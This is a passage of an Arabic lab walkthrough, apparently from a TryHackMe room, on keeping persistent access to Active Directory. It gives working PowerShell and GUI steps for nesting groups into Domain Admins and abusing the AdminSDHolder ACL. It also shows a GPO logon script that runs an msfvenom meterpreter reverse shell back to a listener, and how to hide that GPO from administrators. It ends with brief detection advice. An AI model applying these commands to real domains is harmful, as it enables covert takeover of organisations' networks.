3. مش دايمًا المجموعات اللي فيها صلاحيات مباشرة افضل ممكن المجموعات اللي عندها صلاحيات غير مباشرة زي ملكية Group Policy Objects - GPOs ممكن تكون بنفس الجودة للـ Persistence
المجموعات المتداخلة
بمعظم المؤسسات في كمية كبيرة من المجموعات المتكررة recursive groups واللي هي مجموعة بتكون عضو بمجموعة ثانية بنقدر نفكر فيها كتداخل مجموعات group nesting بنستخدمو عشان نخلي هيكل الـ AD أكثر تنظيمناخد مجموعة الـ IT Support كمثال هي عامة جدًا ف ممكن مجموعات فرعية زي الـ Helpdesk والـ Access Card Managers والـ Network Managers تحت هاي المجموعة وبنقدر نضيف كل هالمجموعات كأعضاء لمجموعة الـ IT Support وهاد الشي بعطي كل المستخدمين بالمجموعات الفرعية الصلاحيات والامتيازات المرتبطة بمجموعة الـ IT Support (زي نظام الوراثه بتتورث الصلاحيات) لكن بعدين بنقدر نعين صلاحيات وامتيازات أدق لكل مجموعة فرعية (كيف لما نعمل كلاس ونوخذ منها اوبجكت هيك بفهموني المبرمجين)
بالرغم من تداخل المجموعات انه بساعد تنظيم الـ AD وبقلل الـ effective access
ناخد مثال الـ IT Support مرة ثانية لو سألنا الـ AD عن عضوية مجموعة الـ IT Support برد علينا بعدد ثلاثة لكن هالعدد مو صحيح فعليًا لأنه ثلاث مجموعات عشان نحسب العدد الصحيح او التقريبي لازم نعدّ المجموعات الفرعية كمان
لكن المجموعات الفرعية ممكن تكون عندها مجموعات فرعية ثانية فالسؤال بصير لأي عمق لازم نعد حتى نوصل للعدد الفعلي او الحقيقي؟
هاد الشي كمان بصير مشكلة للمراقبة نفترض إنه عننا تنبيه بشتغل لما ينضاف عضو جديد لمجموعة الـ Domain Admins هاد تنبيه كويس لكن ما بشتغل لو انضاف مستخدم لمجموعة فرعية داخل مجموعة الـ Domain Admins هاي مشكلة شائعة لأنه الـ AD بتندار من فريق الـ AD والتنبيهات والمراقبة بتندار من فريق الـ InfoSec كل اللي بنحتاجه شوية سوء تواصل والتنبيه ما بكون صالح بما إنه في مجموعات فرعية
كمهاجمين بنقدر نستغل هاد الموضوع عشان ننفذ الـ Persistence بدل ما نستهدف المجموعات الـ Privileged اللي بتعطينا وصول مباشر للـ AD بنركز على المجموعات الفرعية بدل ما نضيف حالنا لمجموعة Privileged ممكن تطلع تنبيه بنضيف حالنا لمجموعة فرعية مش مراقبه
تداخل استمراريتنا
خلينا نحاكي هاد النوع من Persistence بنتأكد إننا نضيف اسم المستخدم قبل كل المجموعات اللي بننشئها عشان نحاكي الـ Persistence بننشئ شوية مجموعات خاصة فينا بننشئ مجموعة أساسية جديدة بنخبيها بوحدة تنظيمية (OU) People->IT:
Bash:
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 1" -SamAccountName "<username>_nestgroup1" -DisplayName "<username> Nest Group 1" -GroupScope Global -GroupCategory Securityبننشئ مجموعة ثانية بوحدة تنظيمية People->Sales وبنضيف المجموعة السابقة كعضو:
كود:
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 2" -SamAccountName "<username>_nestgroup2" -DisplayName "<username> Nest Group 2" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup2" -Members "<username>_nestgroup1"بنقدر نعمل هاد الشي كم مرة
كل مرة بنضيف المجموعة السابقة كعضو:
كود:
New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 3" -SamAccountName "<username>_nestgroup3" -DisplayName "<username> Nest Group 3" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup3" -Members "<username>_nestgroup2"
New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 4" -SamAccountName "<username>_nestgroup4" -DisplayName "<username> Nest Group 4" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup4" -Members "<username>_nestgroup3"
New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Net Group 5" -SamAccountName "<username>_nestgroup5" -DisplayName "<username> Nest Group 5" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "<username>_nestgroup5" -Members "<username>_nestgroup4"مع المجموعة الأخيرة الآن بنضيفها لمجموعة الـ Domain Admins:
كود:
Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_nestgroup5"أخر اشي بنضيف المستخدم الخاص فينا اللي بصلاحيات منخفضة للمجموعة الأولى اللي أنشأناها:
كود:
Add-ADGroupMember -Identity "<username>_nestgroup1" -Members "<low privileged username>"بعدها بصير عننا وصول لـ THMDC خلينا نتأكد من هالشي باستخدام تسجيلنا عن طريق الـ SSH على THMWRK1:
كود:
dir \\thmdc.za.tryhackme.loc\c$\كمان بنتأكد إنه مع إننا أنشأنا مجموعات كثيرة مجموعة الـ Domain Admins عندها بس عضو جديد واحد:
كود:
Get-ADGroupMember -Identity "Domain Admins"
كامل الاكواد مجمعه مع تفاصيل
Bash:
### Cereat Groupe_1
New-ADGroup -Path "OU=IT,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "abood Net Group 1" -SamAccountName "abood_nestgroup1" -DisplayName "abood Nest Group 1" -GroupScope Global -GroupCategory Security
### Cereat Groupe_2
New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "abood Net Group 2" -SamAccountName "abood_nestgroup2" -DisplayName "abood Nest Group 2" -GroupScope Global -GroupCategory Security
### make or add group_1 as Member in group_2
Add-ADGroupMember -Identity "abood_nestgroup2" -Members "abood_nestgroup1"
### Cereat Groupe_3
New-ADGroup -Path "OU=CONSULTING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "abood Net Group 3" -SamAccountName "abood_nestgroup3" -DisplayName "abood Nest Group 3" -GroupScope Global -GroupCategory Security
### make or add group_2 as Member in group_3
Add-ADGroupMember -Identity "abood_nestgroup3" -Members "abood_nestgroup2"
### Cereat Groupe_4
New-ADGroup -Path "OU=MARKETING,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "abood Net Group 4" -SamAccountName "abood_nestgroup4" -DisplayName "abood Nest Group 4" -GroupScope Global -GroupCategory Security
### make or add group_3 as Member in group_4
Add-ADGroupMember -Identity "abood_nestgroup4" -Members "abood_nestgroup3"
### Cereat Groupe_5
New-ADGroup -Path "OU=IT,OU=PEOPLE,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "abood Net Group 5" -SamAccountName "abood_nestgroup5" -DisplayName "abood Nest Group 5" -GroupScope Global -GroupCategory Security
### make or add group_4 as Member in group_5
Add-ADGroupMember -Identity "abood_nestgroup5" -Members "abood_nestgroup4"
### make or add group_5 as Member in Domain Admins group
Add-ADGroupMember -Identity "Domain Admins" -Members "abood_nestgroup5"
### make "louis.cole" as Member in group_1
Add-ADGroupMember -Identity "abood_nestgroup1" -Members "louis.cole"
### check
dir \\thmdc.za.tryhackme.loc\c$\
### Show member "Domain Admins"
Get-ADGroupMember -Identity "Domain Admins"
إزعاج أكثر من مجرد الـ Blue Team
لو كانت هاي مؤسسة حقيقية ما كنا راح ننشئ مجموعات جديدة عشان نداخلها ببعض, كنا راح نستخدم المجموعات الموجودة عشان نعمل تداخل لكن هالشي ما بنعمله أبدًا بـ red team assessment عادي وعادةً بنتوقف عند هالنقطة لأنه بكسر هيكل الـ AD للمؤسسة ولو كسرناه بما فيه الكفاية ما راح يقدروا يستردوا
عند هالنقطة حتى لو قدر الـ Blue Team يطردنا المؤسسة على الأغلب لسا راح تحتاج تعيد بناء هيكل الـ AD كله من الصفر واللي بسبب أضرار كبيرة
الأسئلة
الـ Persistence من خلال الـ ACLs
مرات بنحتاج أكثر من مجرد Persistence للمجموعات العادية بالـ AD كيف لو حكينا بدنا نعمل Persistence لكل الـ protected group بنفس الوقت؟
بهاي الحالة بنقدر نستخدم قوائم التحكم في الوصول ACLs حتى نحصل على Persistence أقوى بدل ما نضيف حساب بنتحكم فيه لكل مجموعة Privileged بنقدر نحقن بالقوالب اللي بتنشئ المجموعات الافتراضية بهاي الطريقة حتى لو الـ Blue Team أزال عضويتنا بس بنستنى لما يتحدث القالب وبرجع بعطينا العضوية مرة ثانية
واحد من هالقوالب هو AdminSDHolder هالحاوية موجودة بكل دومين الـ AD والـ ACL الخاصة فيها تستخدم كقالب لنسخ الصلاحيات لكل الـ protected group
الـ protected group بتشمل مجموعات Privileged زي Domain Admins و Administrators و Enterprise Admins و Schema Admins
قائمة كاملة للمجموعات بتلاقيها هون
AdminSDHolder, Protected Groups and SDPROP
docs.microsoft.com
إذًا بنقدر نكتب إدخال ACE يعطينا صلاحيات كاملة على كل الـ protected group لو الـ Blue Team مو واعي إنه هاد النوع من الـ Persistence يستخدم راح يبلشو لانه كل ما يمحو الصلاحيات الغير مناسبة على object أو الـ protected group بترجع تظهر خلال ساعة ولأنه هاد التجديد بحصل من خلال عمليات الـ AD عادية ما راح يطلع أي تنبيه للـ Blue Team واللي بصعب تحديد مصدر الـ Persistence
الـ Persistence باستخدام الـ AdminSDHolder
عشان ننفذ الـ Persistence على الـ AdminSDHolder راح نستخدم الـ Microsoft Management Console (MMC) عشان ما نطرد المستخدمين من جلسات الـ RDP أفضل اشي إننا نعمل RDP على THMWRK1 باستخدام بياناتنا اللي بصلاحيات منخفظة وبنستخدم runas عشان نحقن بيانات الـ Administrator وبعدها بنشغل الـ MMC من النافذة الجديدة:
Bash:
runas /netonly /user:thmchilddc.tryhackme.loc\Administrator cmd.exeبمجرد ما نفتح الـ MMC بنضيف sers and Groups Snap-in عن طريق File->Add Snap-In->Active Directory Users and Computers بنتأكد إننا بنشغل الـ Advanced Features عن طريق View->Advanced Features
بنضيف مستخدمنا اللي بصلاحية منخفضة وبنعطيه Full Control:
بنبحث عن اسم المستخدم اللي صلاحياته منخفضة وبنضغط على Check Names بعدها نضغط OKبعدها Allow على الـ Full Control بعدها بنضغط على Apply و OK
SDProp
هسا بس بنستنى 60 دقيقة ومستخدمنا راح يكون عنده Full Control على كل الـ protected group لأنه خدمة الـ Security Descriptor Propagator (SDProp) بتشتغل تلقائيًا كل 60 دقيقة وبتنشر التغيير على كل الـ protected group لكن ما بنحب نستنى طبعا خلينا نشغل العملية يدويًا باستخدام PowerShell بالمجلد \C:\Tools في نص Invoke-ADSDPropagation:
Bash:
Import-Module .\Invoke-ADSDPropagation.ps1
Invoke-ADSDPropagationبعد ما يخلص بنستنى دقيقة وبعدها بنشوف صلاحيات الأمان لمجموعة محمية زي الـ Domain Admins (بنقدر نستخدم أمر البحث عشان نلاقي المجموعة):
مصل ما هو واضح بالصوره مستخدمنا اللي بصلاحيات منخفضه عنده Full Control على المجموعة بنقدر نتأكد إنه هاد الشي راح يستمر وينتشر بإزالة مستخدمنا من صلاحيات الأمان وإعادة تشغيل نص PowerShell مستخدمك راح ينضاف مرة ثانية المثير للاهتمام إنه مع انه عننا صلاحيات لتعديل المجموعة ما بضيفنا تلقائيًا للمجموعة:
لكن باستخدام صلاحياتنا الجديدة بنقدر نضيف حالنا للمجموعة
الأمور بتسوء للـ Blue Team
تخيل إنك تجمع هالشي مع تداخل المجموعات من الموضوع السابق بس لما الـ Blue Team يخلص من إزالة وصولنا من خلال تغييرات كثيرة للمجموعات بعد 60 دقيقة بدك تعملها كلها مرة ثانيةإلا إذا فهم الفريق الأزرق إنه الصلاحيات بتتغير من خلال مجموعة AdminSDHolder راح يظلوا يحكوا راسهم كل 60 دقيقة ولأنه الـ Persistence بتنتشر من خلال خدمة الـ AD الشرعية على الأغلب ما راح يدركوا كل مرة بحصل فيها
لو بدك تستمر جد بتقدر تعطي Full Control لمجموعة الـ Domain Users بمجموعة الـ AdminSDHolder اللي بعني إنه أي مستخدم بصلاحيات منخفضة راح يكون عنده Full Control على كل الـ protected group مع إنه مع الـ DC Sync كامل الـ Blue Team راح يتطروا يعيدوا تعيين كل كلمات السر بالدومين عشان يطردونا تمامًا
الأسئلة
الـ Persistence من خلال الـ GPOs
آخر تقنية Persistence راح نشوفها هي من خلال الـ GPOs وهي ممتازة للـ Persistence
إدارة سياسة المجموعة بالـ AD بتوفر آلية مركزية لإدارة الـ local policy configuration لكل الأجهزة المنضمة للدومين, هاد الشي بشمل configuration زي عضوية الـ restricted groups وإعدادات الـ firewall والـ Antivirus software وأي scripts لازم تتنفذ عند بدء التشغيل مع انها أداة ممتازة للإدارة
بنقدر نستهدفها حتى نعمل Persistence على الـ AD كلها والحلو النا اننا بنقدر نخبي الـ GPO بطريقة إنها تصير شبه مستحيل انهم يمحوها
استمرارية على مستوى الدومين
بعض تقنيات الـ Persistence الشائعة باستخدام الـ GPO:- عضوية الـ restricted groups - ممكن يعطينا وصول إداري لكل الأجهزة اللي بالدومين
- الـ Logon Script - راح يضمنلنا نستلم اتصال شل كل ما مستخدم يصادق على جهاز بالدومين
عشان نبدا راح ننشئ GPO مرتبطة بوحدة Admins OU اللي بتسمحلنا نستلم شل على الـ host كل ما واحد منهم لما يعمل authenticates للـ host
التحضير
قبل ما ننشئ الـ GPO لازم ننشئ الشل والـ listener وملف الـ bat اللي راح ينفذ الشل خلينا نبدأ بإنشاء شل بسيط بنقدر نستخدمه:
Bash:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=persistad lport=4445 -f exe > <username>_shell.exeتأكد إنك تكتب اسمك او اسم المستخدم لاسم الملف حتى ما تكتب على ملفات مستخدمين ثانيين (الروم مشتركه)
الـ Windows بتسمحلنا ننفذ نصوص Batch أو PowerShell من خلال الـ logon GPO
الـ Batch script غالبًا أكثر استقرارًا من الـ PowerShell script فخلينا ننشئ واحد راح ينسخ الملف التنفيذي للجهاز وينفذه لما المستخدم يصادق بننشئ الملف باسم username_script.bat وبنحط داخله:
Bash:
copy \\za.tryhackme.loc\sysvol\za.tryhackme.loc\scripts\<username>_shell.exe C:\tmp\<username>_shell.exe && timeout /t 20 && C:\tmp\<username>_shell.exe
بنقدر نستخدم SCP وبيانات Administrator عشان ننسخ النصين لمجلد الـ SYSVOL:
Bash:
$ scp am0_shell.exe za\\[email protected]:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/
$ scp am0_script.bat za\\[email protected]:C:/Windows/SYSVOL/sysvol/za.tryhackme.loc/scripts/أخر اشي بنشغل الـ listener:
Bash:
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST persistad; set LPORT 4445;exploit"إنشاء GPO
الخطوة الأولى بنستخدم حساب الـ Domain Admin عشان نفتح الـ Group Policy Management snap-in:بنافذه الـ runas بنكتب MMC وبنضغط Enter بعدها بنضغط File->Add/Remove Snap-in بعدها بنختار Group Policy Management snap-in وبنضغط على Add بعدها OK
لازم نشوف مدير الـ GPO:
تعديل GPO
مع اننا بنقدر نكتب محتوياتنا للـ Default Domain Policy اللي لازم ينتشر لكل الـ AD object راح ناخذ طريق ثاني للمهمة عشان نوضح العملية بنقدر نعدل بعدين عشان نطبق التغييرات على الدومين كلهراح نكتب GPO اللي راح تطبق على كل المسؤولين ف بنضغط كلك يمين على Admins OU واختر Create a GPO in this domain, and Link it here
وبنعطي الـ GPO اسم زي هيك username - persisting GPO:
بنظغط كلك يمين على الـ policy اللي عملناها وبنختار Enforced بنخليها هيك
هاد الشي راح يضمن إنه الـ policy تطبق حتى لو في policy متعارضة وطبعا ممكن يساعدنا بإنه سياستنا تاخذ هي الأولوية حتى لو الـ Blue Team كتب policy تمحي تغييراتنا
هسا بنضغط كلك يمين على الـ policy وبنختار edit:
تحت الـ User Configuration بندخل لـ Policies->Windows Settings
بنختار Scripts (Logon/Logoff)
اضغط كلك يمين على Logon->Properties
اضغط Add->Browse
خلينا نروح للمكان اللي خزنا فيه ملف الـ Batch والملف التنفيذي:
بنختار الملف Batch اللي عملناه وبنضغط على Open بعدها OK
بعدها بنظغط Apply و OK هالشي راح يضمن إنه كل ما واحد من المسؤولين (tier 2، 1، و 0) يسجل دخول على أي جهاز راح نستلم اتصال شل
عشان نحاكي هاد الشي خلينا نعيد تعيين كلمة مرور لواحد من حسابات المسؤولين Tier 1 وندخل على سيرفر بنستخدم أي تقنية من اللي تعلمناها قبل عشان نعيد تعيين كلمة مرور واحد من المسؤولين Tier 1 اخر اشي لا تنسا تتاكد من انك مشغل الـ listener وخلينا نجربها ونتصل بالـ RDP على THMSERVER1 أو THMSERVER2
بنشوف اسماء المستخدمين اللي بـ T1 وبنختار واحد منهم
ملاحظة: لازم نعمل تسجيل دخول عشان الـ GPO يتنفذ إذا بس أغلقت جلسة الـ RDP هاد بس بقطع الاتصال يعني ما راح يشغل الـ GPO لو ردينا فتنا
تأكد إنك تختار تسجيل الخروج عشان تنهي الجلسة هاد الشي راح يضمن إنه يصير "حدث تسجيل دخول" لما نعمل تسجيل دخول
الاختباء في العلن
بعد ما زبطنا الـ Persisting لازم نتأكد إنه الـ blue team ما يقدر يمحيها بسهولةبنرجع لنافذة الـ MMC بضغط على الـ policy تاعتنا وبنروح على الـ Delegation:
افتراضيًا كل المسؤولين بقدرو يعدلو على الـ GPOs خلينا نمحي هاي الصلاحية:
بنظغط كلك يمين على ENTERPRISE DOMAIN CONTROLLERS واختر Edit settings, delete, modify security
بعدها بنظغط على كل المجموعات الثانية (إلا Authenticated Users) بنضغط على Remove
لازم يكون الـ delegation هيك:
بنظغط على الـ Advanced وبنمحي Created Owner من الصلاحيات:
افتراضيًا كل الـ Authenticated Users بقدرو يقرأو هاي السياسة يعني اللي سجلوا دخول بنجاح
لازم يقدرو يقرأو الـ Policy لأنه لو ما عندهم القدرة ما راح يقدروا يشوفوا الـ Policy لما يسجلوا دخول وبالتالي ما راح يطبقوا القواعد أو السياسات اللي بتخصهم كمستخدمين
يعني ببساطة الـ Policy هاي زي كتالوج ولو ما قدروا يقرؤوها كيف بطبقوها؟ هاي الصلاحية الافتراضية موجودة عشان تتأكد إنه كل مستخدم يعرف اللي مطلوب منه
بس لو ما كان عننا اشي زي الـ logon script بنقدر نلغي هاي الصلاحية
ليش نلغيها؟ عشان لو ما حد محتاج يقرأ السياسة أصلاً او ما بدنا حد يقرأها بنقدر نخليها مخفية ومحمية أكثر وما يشوفها إلا اللي فعلاً لازم يشوفها
بنقدر نستبدل الـ Authenticated Users بـ Domain Computers عشان نضمن إنه الأجهزة تقدر تقرأ وتطبق الـ Policy لكن نمنع أي مستخدم من انه يقرأها خلينا نعمل هاد الشي ك تجربة
لكن تذكر إنه هالشي ممكن يمنعنا اننا استلام الـ revers shell (اذا كان فيه اي خطأ) لما يصادق المستخدم لأنه المستخدم ما راح يقدر يقرأ نص الـ PowerShell فتأكد إنك تجرب الـ shell قبل ما تعمل هاي الخطوات مافيها رجعة:
بنضغط على Add
بعدها بنكتب Domain Computers وبنظغط على Check Names وبعدها OK
بنختار صلاحيات Read وبنظغط OK
وبنظغط على Authenticated Users وبنمحيها Remove
بعد ما نعمل هاي الخطوات راح نحصل على خطأ اننا ما بنقدر نقرأ الـ policy
احنا ما عننا صلاحيات الكافية حتى نتعامل الـ policy تاعتنا لسا ف راح تضل لحد ما ينعمل إعادة ضبط للشبكة بنقدر نتأكد إنه الـ GPO لسا مطبقة بنجل دخول بالـ RDP على واحد من الـ THMSERVERS
الأسئلة
الخلاصة
بهاد الشرح حكينا عن عدة طرق للـ persist بالـ AD كل تقنية الها طريقتها لتحافظ على الوصول وكلها بتتطلب فهم عميق لكيفية عمل الـ AD
ولا تنسو أنه الـ persistence لازم أن نعملها بعد كل جولة من الـ lateral movement والـ privilege escalation مش بس بعد ما نسيطر على كل الدومين
في كمان تقنيات حلوه مثل:
المفاتيح الهيكلية (Skeleton keys): باستخدام Mimikatz بإمكاننا ننشر مفتاح هيكلي بشتغل ككلمة مرور افتراضية لأي حساب بالدومين
وضع استعادة خدمات الدليل (DSRM): وحدات التحكم بالدومين عندها حساب مسؤول داخلي اسمه DSRM واللي بامكاننا نستغله للـ persistence
مزود دعم الأمان الخبيث (Malicious SSP): بلإمكاننا نضيف SSP خبيث حتى نسجل الـ Credentials عند محاولات تسجيل الدخول
حسابات الأجهزة (Computer Accounts): بإمكاننا نعيد تعيين كلمات مرور حسابات الأجهزة لحتى نمنع اعاده تغيرها تلقائي
أما بالنسبة للـ
الدفاع ضد الاستمرارية في AD
فهو صعب وممكن يتطلب ببعض الحالات إعادة بناء للدومين بالكامل ومع هيك في بعض الإجراءات اللي ممكن نتخذها حتى نكشف عن اذا فيه الـ persistence:
مراقبة أحداث تسجيل الدخول خاصة اللي بتكسر tiering model (يعني حد من T2 سجل ب T1 وهكذا)
كتابة قواعد كشف محددة لكل تقنية من الـ persistence مثل تغيير كلمات مرور حسابات الأجهزة أو تحديث الـ ACLs بشكل كبير أو إنشاء GPOs جديدة
أفضل دفاع هو حماية الـ privileged resources مع انه الوصول ذو بصلاحيات منخفضة ممكن يستخدم للـ persistence إلا أنه التقنيات الأكثر خطورة بتتطلب وصول privileged على الدومين
